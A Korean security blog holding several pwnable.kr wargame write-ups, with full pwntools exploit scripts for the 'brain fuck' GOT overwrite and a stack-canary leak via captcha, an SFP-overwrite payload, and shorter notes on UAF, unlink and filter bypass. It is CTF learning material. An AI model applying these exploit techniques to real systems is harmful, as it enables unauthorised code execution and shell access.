달력

5

« 2024/5 »

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
2017. 7. 9. 15:18

[문제풀이] pwnable.kr - brain fuck Wargames/pwnable.kr2017. 7. 9. 15:18



이번 문제는 별도로 학습해야 하는 선수지식이 없는 관계로 바로 문제풀이를 하도록 하겠다.



※ 문제풀이 


우선 문제가 어떻게 동작하는지 파악하기 위해 먼저 돌려보도록 하겠다. 


[그림 1] 문제 실행 시 


[그림 1]과 같이 특정 문자열과 함께 내 입력을 받기 위한 대기를 한다. 

분석을 하기 위해 바이너리 파일을 다운로드 받아서 IDA로 열어보았다. 



[그림 2] 입력한 값에 따른 동작 구문


[그림 2]는 내가 입력한 문자열 중 하나의 문자씩 가지고 와서 해당 문자에 필요한 동작을 수행하는 스위치 부분이다.

이 문제를 풀기 위해서는 위 스위치 구문 중 아래와 같은 구문을 활용해야 한다. 


[그림 3] 익스플로잇 시 필요한 동작 1


[그림 4] 익스플로잇 시 필요한 동작 2


간단히 위 동작들로 하는 행위는 원하는 위치로 이동한 다음 값을 보거나 값을 수정하는 것이다. 

.GOT.PLT 영역의 값을 변경할 경우 흐름을 변경하는 건 말 안해도 뻔한 사실이다. 



해당 문제를 풀기 위해선 아래와 같은 행위를 해야 한다. 

  1. 포너블 시스템의 함수 주소를 파악
    이를 위해서 문제에서 제공하는 bf_libc.so 파일에서 제공되는 오프셋 주소를 이용해서 실제 프로그램 내에 주소를 파악한 뒤 라이브러리의 기본 주소를 파악해야 한다. 

  2. putchar 함수의 .got.plt 섹션 값 변경
    putchar 함수의 .got.plt 섹션 값을 메인 함수의 시작 부분으로 변경하고 memset 함수를 ret 값으로 설정하여 무력화시킨다. 이 값은 fgets 함수를 다시 호출하여 내용을 덮어쓰기 위함이다. 
    (putchar 함수의 .got.plt 섹션 값을 메인 함수 중간으로 바로 들어갈 경우 스택을 참조할 때에는 스택 프레임이 달라져서 에러가 발생할 수 있고 레지스터를 참조할 경우 레지스터 값이 달라서 에러가 발생할 수 있다)

  3. fgets 함수의 .got.plt 섹션 값을 system 함수 주소로 변경 
    1번에서 획득한 기본 주소에 system 함수 오프셋을 더해 해당 값을 이용하여 .got.plt 섹션 값을 변경한다. 이러한 행위는 2번이 완료된 뒤에 이루어져야 한다. 


자, 이제 순서대로 포인트만 딱딱 집어 봐보도록 하자. 


우선 포너블 시스템에서의 함수 주소를 파악하기 위해서는 포인터의 주소를 뒤로 쭈우우욱 땡겨서 .got.plt에 위치시킨 다음에 putchar 함수를 동작시키는 "."을 수행하는 것이다. 


[그림 5] 메모리 노출을 위해 전달되는 문자열


[그림 5]는 파이썬으로 작성되어 있지만 그냥 문자로 직접 입력해도 된다. 

그러면 깨진 형태의 문자를 출력할 것이다. 뭐 헥사 값으로 변경해서 출력해주면 된다. 

파이썬의 무슨 함수를 써야하는지 몰라서 좀 해멨다. 젠장 ㅋ


[그림 6] 제공된 라이브러리에서 함수 오프셋 구하는 방법


그런 다음 [그림 6]과 같이 사용할 함수의 오프셋을 구한다. 물론 제공된 라이브러리에서 해야 한다. 

위와 같은 방법 외에 GDB를 이용하는 방법도 존재한다.


그럼 위 내용을 바탕으로 익스플로잇 코드를 작성해보도록 하겠다.


from pwn import *


#p = process('/home/pwn/bf/bf')


p = remote('pwnable.kr', 9001)

MAIN_ADDR = 0x08048671

RET_ADDR = 0x08048792


FGETS_GOT_PLT = 0x0804a010

MEMSET_GOT_PLT = 0x0804a02c

PUTCHAR_GOT_PLT = 0x0804a030



PUTCHAR_OFFSET = 0x00060c80

SYSTEM_OFFSET = 0x0003a920 


TAPE = 0x0804a0a0



payload = '.'

payload += '<' * (TAPE - PUTCHAR_GOT_PLT)

payload += '.>.>.>.<<<'

payload += ',>,>,>,<<<'


payload += '<' * (PUTCHAR_GOT_PLT - MEMSET_GOT_PLT)

payload += ',>,>,>,<<<'

payload += '.'


payload += '<' * (TAPE - FGETS_GOT_PLT)

payload += ',>,>,>,'

payload += '.'


p.recvuntil('[ ]\n')

p.sendline(payload)


p.recvn(1)

libc = u32(p.recvn(4)) - PUTCHAR_OFFSET

#log.success('libc is at 0x%x' % libc)

p.send(p32(MAIN_ADDR))

p.send(p32(RET_ADDR))


p.recvuntil('[ ]\n')

p.sendline('/bin/sh\x00')

p.send(p32(libc + SYSTEM_OFFSET))


p.interactive()


위 코드를 실행시키면 아래와 같이 답이 나온다. 


[그림 7] 답



문제풀이 끝!




알게된 내용 !!

함수의 중간으로 실행 흐름을 바꿀 때에는 스택 프레임과 레지스터 등을 고려해야 한다. 




전체적으로 살펴보고 가능성이 있는 부분과 아닌 부분을 빠르게 나누는 연습을 하자. 

프로그램 내에서의 흐름을 파악한 뒤 유연하게 재조립 해보자. 

못풀더라도 공부한다는 마음으로 완벽하게 이해하자. 

제공된 답 외에 접근 방법을 연구해보자. 





:
Posted by einai



※ 사전지식 


Stack Smashing Protection (SSP) 


이는 버퍼 오버플로우를 막기 위한 방어 기법 중 하나로 아래와 같은 기능을 한다. 

  • 로컬 변수 재배치
  • 포인터 최상단 배치
  • Stack Canary 삽입 


GCC와 같은 컴파일러는 버퍼 오버플로우 공격을 막기 위해 위와 같은 기능을 제공한다. 이는 옵션으로 강제할 수도 있고 기본적으로 제공되기도 한다. 여러 개의 옵션은 다른 형태의 SSP를 제공한다. 


-fstack-protector   취약한 객체를 포함하고 있는 함수에서 스택 스매싱을 검사한다. 여기서 취약한 객체란 함수내에 할당한 버퍼의 크기가 8바이트보다 크거나 alloca를 호출할 때를 말한다. 


-fstack-protector-strong   -fstack-protector와 같으나 로컬 배열이나 로컬 프레임 주소를 참조하고 있는 변수를 포함한 함수에도 스택 스매싱을 검사한다. 


-fstack-protector-all   모든 함수에서 스택 스매싱을 검사한다.


일부 운영체제는 컴파일러에 이와 같은 개념을 더 확장시킨 옵션을 제공한다. 


-fstack-shuffle (Found in OpenBSD)   컴파일 시점에 스택 변수의 순서를 랜덤화시킨다. 


위와 같은 기법들을 추가하여 스택 오버플로우를 탐지할 경우

"stack smashing detected" 메시지가 출력되며 프로그램이 종료된다. 




Stack Canary 설정 방법 

  •  StackGuard의 스택 랜덤 기능 활성화 시 
     "/dev/urandom"을 열고 "uintptr_t" 크기 만큼 읽어온 뒤 이를 Stack Canary 값으로 반환함 
  • StackGuard의 스택 랜덤 기능이 비활성화 시 
    반환 값 중 하나는 0xff 그리고 나머지는 0xA(개행문자)를 적용한 뒤 반환함 
    즉, Canary 값은 terminator Canary 값으로 불리는 "0xff0a0000"이 됨 


사전지식 끝! 






※ 문제풀이 


이 문제는 스택 오버플로우 관련 문제로 스택 카나리가 적용되어 있어 이를 우회하는 것을 의도한 것으로 보인다. 

따라서 스택 카나리를 우회하기 위한 방법에 대해 고민해보도록 하자.  



무작위 대입 공격


일반적으로 네트워크 데몬들은 clone 또는 fork를 통해 새로운 접속에 대해 스레드를 생성한다. 

fork의 경우 child process가 execve를 호출 하느냐 안하느냐 2가지 경우로 구분된다. 


여기서 위와 같은 구분을 하는 이유는 카나리가 생성되는 방식에 있다. 


  • Using fork 
    fork 시스템 호출은 프로세스를 복제하는데 이 뜻은 카나리가 함수 단위로 생성되는 것이 아니라 프로세스 단위로 생성되기 때문에 부모와 자식이 동일한 카나리를 공유한다는 뜻이다. 이는 몇번의 시도로 카나리를 추측할 수 있다는 의미이다(요청할 때마다 동일한 카나리를 가지기 때문). 카나리는 총 4바이트이고 terminator 카나리라면 하위 바이트는 0x00으로 고정되고 나머지 3바이트를 추측하는 것이기 때문에 최대 255 * 3의 시도로 카나리를 찾을 수 있다(by Ben Hawkes).
      
  • Using execve
    execve가 호출되면 자식 프로세스는 부모 프로세스의 text, data, bss, stack을 덮어쓴다(별도의 공간을 갖는 것인지 아니면 정말 덮어쓰는 것인지는 확인해봐야 할 듯?). 이 의미는 생성된 자식 프로스들이 자신만의 카나리를 가진다는 것을 암시한다. 결과적으로 fork와 같이 추측하여 카나리를 찾는 방식은 별 의미를 가지지 못한다. 



규칙성 찾기  


이는 생성된 카나리의 규칙성을 알아보는 것이다. 

정적인 값을 갖는지, 어떤 값에 기반하여 생성되는지 등을 파악하여 값을 재구현하는 방법이다. 




이번 문제는 사실 가정까지만 하고 문제풀이를 미리 봐버렸다. 

나는 무작위 대입공격을 통해 카나리 값을 구하는 문제라고 생각했다. 왜냐면 그게 말이 되니까(?).


근데 다른 사람들이 푼 문제풀이를 보니까 이들은 규칙성을 찾아냈고 이로써 카나리 값을 복원하는데 성공했다. 

중요한 점은 이걸 봐도 어떤 연계점이 있어서 이렇게 구했는지 이해가 되지 않는다는 점이다. 


gs:0x14에 위치한 값과 시간 그리고 캡챠의 관계가 무엇인지 명확한 근거가 없는데 이들은 이 값으로 카나리를 구했다. 

근데 더 웃긴건 하나같이 거기에 대한 설명은 없고 동일한 방법으로 문제를 풀었다는 것이다. 


시뮬레이션 해보니 정말 카나리 값이 구해지긴 했는데 이걸 단순히 우연으로 알았는지 아니면 gs:0x14는 시간으로 초기화되는지 알 수가 없다. 





어째든 문제의 흐름을 봐보자. 


[그림 1] 스택 할당


[그림 2] 문자열 입력 


위에 올린 [그림 1]과 [그림 2]는 스택 오버플로우의 빌미를 제공하는 지점이다.  

할당된 버퍼보다 많은 입력 값을 받는 그런 뻔한 스토리다. 


[그림 3] 스택 오버플로우 발생


그리고 난 뒤 입력 받은 값을 Base64Decode 함수의 인자로 전달하여 스택에 디코딩 된 상태의 값을 저장한다. 이때 궁극적으로 스택 오버플로우가 발생되고 스택 카나리 값이 덮어써지며 결국 에러로 치닫게 된다. 


즉, 스택 카나리 값만 구하면 system 함수의 주소에  "/bin/sh" 인자를 주어 요청하기만 하면 익스플로잇이 성공한다.




그럼 어떻게 카나리 값을 구할 수 있을지 확인해보자. 

우선 사전에 언급한 바와 같이 난 어떤식으로 답을 구할지 가정만 해놓은 상태에서 답을 봐버렸다. 

하지만 내가 한 가정은 1도 맞지 않았다. 젠장!!


어째든 처음에는 가정이 틀리고 답을 봐도 이해가 가지 않았다.

스택 카나리 값을 캡챠와 Time seed 값을 이용해 구한다는 게 납득이 가지 않았기 때문이다. 

gs:14와 이들은 어떤 관계가 있기 때문에 구할 수 있을까 한참을 고민했다. 

내가 모르는 규칙이 있는가!!? 싶어서. 


뭐 모르는게 워낙 많기 때문에 그냥 모르는 내용이었겠거니 하고 찾았는데 도무지 연관성을 찾을 수 없었다.


이윽고 난 캡챠를 구하는 방법을 다시 한번 분석했고 왜 그런지 드디어 알았다. 


[그림 4] 캡챠 구하는 로직


간단히 캡챠 구하는 로직을 설명하자면 정수 배열 인덱스 0 ~ 7 사이에 랜덤 값을 넣고 덧셈과 뺄셈으로 값을 구한 뒤 최종 연산 값을 반환하는 형태로 이루어진다. 하지만 저 빨간 박스 모양을 보면 배열의 인덱스 8을 가리키고 있고 여기엔 스택 카나리 값이 위치해 있다. 따라서 캡챠에서 스택 카나리 값을 얻을 수 있는 것이었다. 


하~ 알고나니 너무 허무하다. ㅠㅠㅠ 

조금만 더 살펴보면 알 수 있었을 텐데.. 뭐 아직 이게 내 실력이니 ㅠㅠㅠ



어째든 이제 익스플로잇을 하기 위한 모든 조건이 갖춰졌다. 

pwnable.kr에 ssh로 접근해서 로컬에 코드를 짜놓고 실행시켜보자. 


from pwn import * 

import ctypes 

from ctypes.util import find_library 


libc = ctypes.CDLL(find_library('c'))

libc.srand(libc.time(0))

arr = [libc.rand() for i in range(8)] 


p = remote('localhost', 9002)


print p.recvuntil('captcha : ')

pw = p.recvline()

canary = (int(pw)-arr[4]+arr[6]-arr[7]-arr[2]+arr[3]-arr[1]-arr[5]) & 0xffffffff

log.success('canary is 0x%08x' % canary)


p.send(pw)

print p.recvuntil('paste me!')


dummy1 = 'a'*512 

canary = p32(canary)

dummy2 = 'a'*12

ret = p32(0x08049187)

retarg = p32(0x0804b0e0+717)

payload = dummy1 + canary + dummy2 + ret + retarg

payload = payload.encode('base64').replace('\n', '')


p.sendline(payload + '\x00/bin/sh')


p.interactive()


무사히 코드가 동작하면 쉘을 얻을 수 있을 것이다. 


[그림 5] 정답



문제풀이 끝! 







가정을 하면 그걸 실행해보고 맞는 지 틀린 지 좀 더 인내를 가지고 찾아보자. 

시간에 너무 좇겨서 이런 과정을 게을리 하지 말자.



화이팅!










References 

[1] SSP - Stack Canary에 대한 Phrack 자료, http://hackability.kr/entry/SSP-Stack-Canary에-대한-Phrack-자료-번역


:
Posted by einai


※ 사전지식 


SFP (Stack Frame Pointer)


SFP 란 함수를 호출할 때 함수의 시작부분에 있는 몇 개의 명령어로 발생하게 된다. 

보통 함수 프롤로그(prologue)부분에서 EBP 레지스터의 위치를 보전하기 위해 스택에 저장되는 값이다. 


해당 과정을 간단히 살펴보자. 


만약 함수 A에서 함수 B를 호출하면 일반적으로 함수 B에 들어가자마자 아래와 같은 명령어를 실행한다. 


  PUSH EBP

  MOV EBP, ESP


해당 과정을 거치면 스택은 아래와 같은 모양을 가진다. 


[그림 1]


어셈블리어를 보면 알겠지만 SFP 위치에는 이전 함수에서 사용하던 EBP 주소가 저장된다. 

그래서 함수가 기능을 다하고 복귀할 때 본래의 EBP 주소를 유지할 수 있는 것이다. 



SFP Overwrite


이는 말 그대로 SFP에 값을 덮어쓸 수 있어 함수의 에필로그(Epilogue) 부분에서 EBP를 변조할 수 있는 취약점이다. 

우선 에필로그는 보통 아래와 같은 형태를 볼 수 있다. 


 MOV ESP, EBP

 POP EBP

 RET   


 or 


 LEAVE

 RET


이 과정을 거칠 경우 SFP의 값이 EBP로 전달되어 이 후 실행 흐름에 문제를 줄 수 있다. 



사전지식 끝!





※ 문제풀이 


해당 문제는 값을 입력할 때 세그먼트 뻑이 나서 금방 감을 잡을 수 있었다. 


흐름을 간단히 말하면 아래와 같다. 


1. 인증을 위한 값을 요구한다.  - main 

2. 내가 입력한 값을 Base64Decode 함수를 통해 Base64 디코딩을 수행한다.  - main

3. "2번"에서 얻어진 값을 이용해 자체 md5 함수를 활용하여 해시 값을 구한다.   - auth

4. 프로그램에 내장되어 있는 해시 값과 같은지 검사하고 같으면 "correct" 함수를 호출한다.  - main

5. correct 함수 내부에서 input 변수에 들어있는 값을 확인하고 같으면 /bin/sh 을 호출한다.  - correct



여기서 취약점은 auth 함수에서 발생하게 된다. 


[그림 2]


쓸때없이 memcpy 인자로 전달되는 스택 값에 0x0Ch 값을 더하는 바람에 SFP 가 덮어써진다. 

그 뒤 auth 함수 에필로그 부분에 SFP 값이 EBP로 쓰여지고 

main 함수 에필로그에서 EBP가 다시 ESP로 이동할 때 우리는 실행 흐름을 바꿀 수 있다. 

ESP가 가리키는 지점의 값이 RET 명령어를 만나면 해당 값을 EIP로 옮겨놓기 때문이다. 




[그림 3]


나는 correct 함수 내에 빨간 박스를 쳐 놓은 위치로 분기하기로 결정했다(가장 심플). 


따라서 익스플로잇 코드는 아래와 같다. 


 import base64


correct = "\x78\x92\x04\x08"     # correct 함수 내에 /bin/sh 호출 부분

stack = "\x40\xeb\x11\x08"       # input 변수 위치 중 correct 함수 주소를 담고 있는 위치 


payload = "AAAA" + correct + stack 

data = base64.b64encode(payload) 

print(data) 


문제풀이 끝!



처음에는 스택 위치만 활용하려다가 시간을 좀 빼앗겼다. 

값을 저장할 수 있는 곳은 스택 뿐만이 아니라는 것을 잘 기억해놓자. 







:
Posted by einai
2017. 7. 9. 15:16

[문제풀이] pwnable.kr - codemap Wargames/pwnable.kr2017. 7. 9. 15:16



※ 사전지식


Dynamic Binary Analysis & Dynamic Binary Instrumentation 


바이너리 동적 분석을 얼마나 어떻게 효율적으로 할 수 있는가 ?!

 Answer : 나같은 평민은 남들이 잘 만들어놓은 툴을 사용해라!! 

 

 

사전지식 끝! 





※ 문제풀이 


음 이 문제는 제목이 곧 답이 될 수가 있다. 

문제의 제목으로 개발된 툴이 있더라. 좋은 툴인 것 같더라. 



본론으로 돌아와서 해당 문제는 주어진 바이너리를 분석한 뒤 질문한 내용에 답을 해주는 형식으로 풀게 된다. 







[그림 1]


일단 문제가 어떤 유형인지 대충 감을 잡았으니 바이너리를 분석해보도록 하겠돠.

일단 파일을 실행시키면 멘트가 뜬다. 


[그림 2]


1000개의 힙을 랜덤사이즈로 만든다고 한다. 게다가 각 청크는 랜덤 스트링을 가진다고 한다. 엔터를 누르라고 한다.


그래서 난 엔터를 눌렀다. 쩜쩜



간단히 올리디버거로 파일을 오픈한 뒤 문제에서 주의깊게 보라고 한 지점에 bp를 걸고 확인해보도록 하겠다. 


[그림 3]


딱 보면 알겠지만 EAX는 청크의 크기를, EBX는 문자열을 가리키고 있다. 


그럼 이제 선택의 시점이다. 


하나하나씩 분석하던지!! 

좋은 툴을 찾던지!!!!!

아니면 툴을 개발하던지!!!!!!


나같은 경우는 걍 남이 만들어놓은 걸 활용했당. ^^^^^^^^^^^^^



[그림 4]



문제풀이 끝!





:
Posted by einai
2017. 7. 9. 15:15

[문제풀이] pwnable.kr - memcpy Wargames/pwnable.kr2017. 7. 9. 15:15



※ 사전지식


이 문제는 컴퓨터 메모리 상에서 변수에 적용되는 정렬(alignment) 절차와 관련이 있다. 

좀 더 쉬운 이해를 위해 간단한 코드를 짜서 확인해보도록 하겠다. 



위 코드는 굉장히 심플하다. 하나의 구조체를 설정하고 할당한 뒤 그 크기를 확인하는 프로그램이다. 

char 형과 int 형 변수를 포함하는 구조체이기에 크기는 5라고 예상할 수 있겠다. 


일단 실행하고 결과를 확인해보도록 하겠다.



하지만 결과는 예상한 것과는 다르게 8이 나타났다.  

빠밤~~!!

글을 재미있게 쓰는 건 나에게 무리인가 ㅠ.ㅠ!! 이 반전같지 않은 반전!!



왜일까?


이는 컴파일러가 해당 소스를 컴파일 할 때 변수를 4바이트 단위로 재배치하고 패딩을 추가하기 때문이다. 

이렇게 하는 이유는 하지 않았을 때보다 일반적으로 메모리에 접근 속도가 빠르기 때문이다. 


즉 간단히 변환해보면 설정한 구조체는 아래와 같은 모습을 하게 된다. 


tyepdef struct St{ 

  char ch;

  char pad[3];

  int in;

}


하지만 마음에 들지 않는다면 의도적으로 하지 않을수도 있다.  흐으..


사전지식 끝!




※ 문제풀이


자, 그럼 이제 문제풀이로 돌아와서 문제를 그냥 한번 돌려보도록 하자. 



제시한 숫자를 그대로 넣어 돌려보니 "experiment 5"에서 정지되었다. 

원인을 알아보기 위해 소스코드를 확인해보도록 하겠다. 




생소한 어셈블리어들이 들어있었다. 일단 구글링해서 어떤 기능을 하는지 살펴보았다. 






출처 : http://x86.renejeschke.de/html/file_module_x86_id_197.html



 그닥 뭐가 문제인지 잘 감이 안왔었다. 그래서 더 자세히 들여다보았다. 더더더..


출처 : http://x86.renejeschke.de/html/file_module_x86_id_197.html


예외가 발생하는 이유는 저기서 확인할 수 있었다. 만약 메모리 피연산자가 16바이트 단위로 정렬되어 있지 않을 경우 에러가 발생한다는 의미다. 음 그렇구나 싶었다. 대충 메모리 관련 예외라고 짐작은 하고 있었으나 감으로 때려맞추기엔 좀 한계가 있었다. 


결국 해당 코드를 컴파일해서 메모리 위치를 확인하면서 값을 설정해주었다. 






문제풀이 끝!




오랜만에 문제풀이 올리네~ 이래저래 좀 바빠졌지만 틈틈히 하자 !!





'Wargames > pwnable.kr' 카테고리의 다른 글

[문제풀이] pwnable.kr - simple login  (0) 2017.07.09
[문제풀이] pwnable.kr - codemap  (0) 2017.07.09
[문제풀이] pwnable.kr - cmd2  (0) 2017.07.09
[문제풀이] pwnable.kr - asm  (0) 2017.07.09
[문제풀이] pwnable.kr - unlink  (0) 2017.07.09
:
Posted by einai
2017. 7. 9. 15:15

[문제풀이] pwnable.kr - cmd2 Wargames/pwnable.kr2017. 7. 9. 15:15



※ 사전지식


내장 명령어 

리눅스 쉘에서 내장 명령어라는 것이 존재한다. 

흔히 쉘 스크립트를 짤 때 주로 생성되는 것이다. 

i.e) for, read, etc 


8진수 

본 쉘(Bourne Shell)에서는 에코 명령어를 사용했을 때 아스키코드의 8진수 값을 허용한다. 

다른 쉘에서도 이와 같은 행위가 동작하는 지는 모르겠다. 일단 bash 쉘에서 해봤을 땐 먹히지 않았다. 


위 말이 좀 애매하니 간단히 예를 하나 들어보겠다. 



8진수로 88는 16진수로 2d인데 이 값은 아스키 값을 "-"를 나타낸다. 

따라서 내가 echo "\55krzxy" 라고 입력했을 때 출력은 -krzxy 로 나타나게 된다. 


사전지식 끝!




※ 문제풀이


이건 뭐 사전지식이 곧 문제풀이와 직결되기 때문에 별도의 설명이 필요할까 싶다. 


간단히 문제설명만 하자면 "=, PATH, export, /, `, flag" 문자열을 넣지 않고 system 함수에 인자를 전달하는 방법이다. 

물론 환경변수는 초기화되고 내가 입력한 값으로 플래그를 읽어야되는 조건이다. 


사전지식으로 문제풀이를 대체하겠다. - - 


문제풀이 끝!



워게임 경험이 없어서 그런지, 아님 공부가 덜 됬는지 모르겠지만 리버싱.kr부터 포너블.kr까지 매 문제가 새롭당.

왜 이쪽은 익숙함이라는게 없을까나 ㅠ.ㅠ







'Wargames > pwnable.kr' 카테고리의 다른 글

[문제풀이] pwnable.kr - codemap  (0) 2017.07.09
[문제풀이] pwnable.kr - memcpy  (0) 2017.07.09
[문제풀이] pwnable.kr - asm  (0) 2017.07.09
[문제풀이] pwnable.kr - unlink  (0) 2017.07.09
[문제풀이] pwnable.kr - uaf  (0) 2017.07.09
:
Posted by einai
2017. 7. 9. 15:14

[문제풀이] pwnable.kr - asm Wargames/pwnable.kr2017. 7. 9. 15:14




※ 사전지식


이번 문제 사전 지식은 별도로 기입해놓았다. 

http://krzxy.tistory.com/entry/리눅스-64비트-쉘코드-제작  << 참조하셔요!


사전지식 끝!




※ 문제풀이




문제를 실행시키면 위와 같이 나타난다. 64비트용 쉘코드를 제작해서 입력해달란다. 


위 캡쳐에서도 나타나지만 SECCOMP 기능을 이용하여 내가 사용할 수 있는 시스템 호출을 제한한다. 

이는 코드에서도 확인 가능하다.


또한 내가 생성해서 전달하는 쉘코드를 소스 코드 내에 미리 추가된 쉘코드(?) 뒤에 추가되어 진다. 


위 코드가 뭐하는 지는 일일히 살펴보진 않았고 흐름을 따라가면서 프로세스에 영향을 끼치나만 살펴보았다. 하지만 별로 영향을 끼치진 않아서 쉘 코드를 작성해서 던저버렸다. 


내가 짠 쉘코드는 음 너무 길고 조잡해서 어디다 자랑은 못하겠다. 

어째든 내가 작성한 기계어를 이용해서 로컬에서 동작하는 것을 확인하고 던지니까 정답은 나왔다. 



문제풀이 끝!




나처럼 처음 접하는 사람들을 위해 좋은 팁을 주자면, pwntools에 엄청 쉽게 쉘코드를 작성하는게 있더라..

shellcraft 라고.. 처음은 연습삼아 정석으로 짜보고 좀 익숙해지면 pwntools의 기능을 사용해보길 바란다. 


그럼 뭔가 원시인이 처음 문명을 만났을 때 느낌이 들 것이다. -ㅅ-

(나만 몰랐낭 ㅡㅡ!!?ㅋ)






'Wargames > pwnable.kr' 카테고리의 다른 글

[문제풀이] pwnable.kr - memcpy  (0) 2017.07.09
[문제풀이] pwnable.kr - cmd2  (0) 2017.07.09
[문제풀이] pwnable.kr - unlink  (0) 2017.07.09
[문제풀이] pwnable.kr - uaf  (0) 2017.07.09
[문제풀이] pwnable.kr - mistake  (0) 2017.07.09
:
Posted by einai
2017. 7. 9. 15:14

[문제풀이] pwnable.kr - unlink Wargames/pwnable.kr2017. 7. 9. 15:14



※ 문제풀이 


해당 문제는 unlink 과정을 시뮬레이션하여 메모리를 덮어쓰는 것으로 덮어쓰는 위치를 잘 조정하면 프로그램의 EIP를 변경할 수 있다. 


핵심적으로 이해해야 할 코드 부분은 아래와 같다. 


typedef struct tagOBJ{

  struct tagOBJ* fd;

  struct tagOBJ* bk;

  char buf[8];

}OBJ;


void unlink(OBJ* P) {

  OBJ* BK;

  OBJ* FD;

  BK=P->bk;

  FD=P->fd;

  FD->bk=BK;

  BK->fd=FD;

..... 

int main(int argc, char*argv[]) {


OBJ* A = (OBJ*)malloc(sizeof(OBJ));

OBJ* B = (OBJ*)malloc(sizeof(OBJ));

OBJ* C = (OBJ*)malloc(sizeof(OBJ));

....

gets(A->buf);

....

unlink(B);

return 0;


}


unlink 함수에 전달되는 OBJ 인스턴스를 변조하여 내가 쓰고 싶은 부분에 값을 쓸 수 있다. 

이는 내가 입력한 값에 대한 입력 값 검증이 존재하지 않아 가능하게 된다. 


즉, 내가 A->buf에 입력한 값이 B에 영향을 끼친다. 


이로써 실행 흐름을 변경할 수 있고 결국 플래그를 획득할 수 있게 된다. 



문제풀이 끝!





블로그를 쓰면 쓸수록 성의가 없어지는 것 같네 ㅠㅠ 시간있을 때 조금 더 보충하도록 하겠음!!



'Wargames > pwnable.kr' 카테고리의 다른 글

[문제풀이] pwnable.kr - cmd2  (0) 2017.07.09
[문제풀이] pwnable.kr - asm  (0) 2017.07.09
[문제풀이] pwnable.kr - uaf  (0) 2017.07.09
[문제풀이] pwnable.kr - mistake  (0) 2017.07.09
[문제풀이] pwnable.kr - leg  (0) 2017.07.09
:
Posted by einai
2017. 7. 9. 15:13

[문제풀이] pwnable.kr - uaf Wargames/pwnable.kr2017. 7. 9. 15:13



※ 사전지식 


이번 문제는 Use-After-Free 취약점(이하 UAF 취약점)과 관련된 문제였다. 따라서 문제풀이를 하기 전에 UAF 취약점에 대한 설명을 간단히 하고 넘어가겠다. 


해당 취약점은 Heap 영역에서 발생하는 취약점으로 간단히 말하면 사전에 할당된 Heap 메모리가 프리되고 이를 그대로 할당받을 수 있어서 발생되는 취약점이다. Heap 메모리를 할당한 뒤 해제할 때 메모리 해제 함수를 사용하는데 이 함수는 이를 해제된 힙 리스트에 삽입할 뿐(물론 다른 기능도 수행한다) 내용을 초기화하지 않고 재할당 요청시 그대로 반환한다. 게다가 기존에 명시된 참조 방식으로 그대로 참조도 가능하다. 


캡쳐나 다른 설명없이 너무 글로만 설명해서 확 와닿지 않을 느낌이 든다. 

따라서 간단히 개념을 설명하기 좋을 사이트를 아래에 별도로 명시해놓겠다.  :)


사전지식 끝!



※ 문제풀이


해당 문제는 아래와 같은 화면으로 나타난다. 




화면에 나타난 각 번호들을 선택하면 그에 맞는 행위를 한다. 간단히 해당 영역에 있는 소스코드를 확인해보자. 



각 번호마다 하는 행위는 위와 같다. 


1번은 각 클래스의 멤버함수를 호출하고 

2번은 내가 전달한 파라미터를 기반으로 데이터를 읽어온다.

3번은 할당한 클래스를 삭제한다. 


자 그럼 대충 문제가 어떤식으로 흘러갈지 눈에 들어오지 않는가!?


기존 UAF 취약점 정의에 따라 사용하고 제거한 뒤 재사용하는 흐름에 따라가면 된다. 

여기에서는 가상함수 테이블을 저장했었던 곳을 변경하여 답을 얻을 수 있다. 




짜잔~


문제풀이 끝!






Reference

[1] Use-After-Free, http://revers3r.tistory.com/156

'Wargames > pwnable.kr' 카테고리의 다른 글

[문제풀이] pwnable.kr - asm  (0) 2017.07.09
[문제풀이] pwnable.kr - unlink  (0) 2017.07.09
[문제풀이] pwnable.kr - mistake  (0) 2017.07.09
[문제풀이] pwnable.kr - leg  (0) 2017.07.09
[문제풀이] pwnable.kr - input  (0) 2017.07.09
:
Posted by einai
2017. 7. 9. 15:12

[문제풀이] pwnable.kr - mistake Wargames/pwnable.kr2017. 7. 9. 15:12


※ 사전지식 


이번 문제는 연산자 우선순위에 대한 지식만 있으면 어렵지 않게 풀 수 있다. 

코드 내에 연산자 우선순위에 영향이 미치는 곳을 확인하면 바로 풀 것이다. 



출처 : http://m.blog.naver.com/hj_meerkat/220792379467


 

사전지식 끝!


문제풀이 따로 없음 :) 


추가 힌트 ? stdin 





문제풀이 끝!!



요즘 업무에 적응하느라 시간 밸런스가 잘 안맞는다. 우선 급한거부터 끝내고 다시 차근차근 씨큐리티 공부를 해야겠다. 아자아자~~

'Wargames > pwnable.kr' 카테고리의 다른 글

[문제풀이] pwnable.kr - unlink  (0) 2017.07.09
[문제풀이] pwnable.kr - uaf  (0) 2017.07.09
[문제풀이] pwnable.kr - leg  (0) 2017.07.09
[문제풀이] pwnable.kr - input  (0) 2017.07.09
[문제풀이] pwnable.kr - passcode  (0) 2017.07.09
:
Posted by einai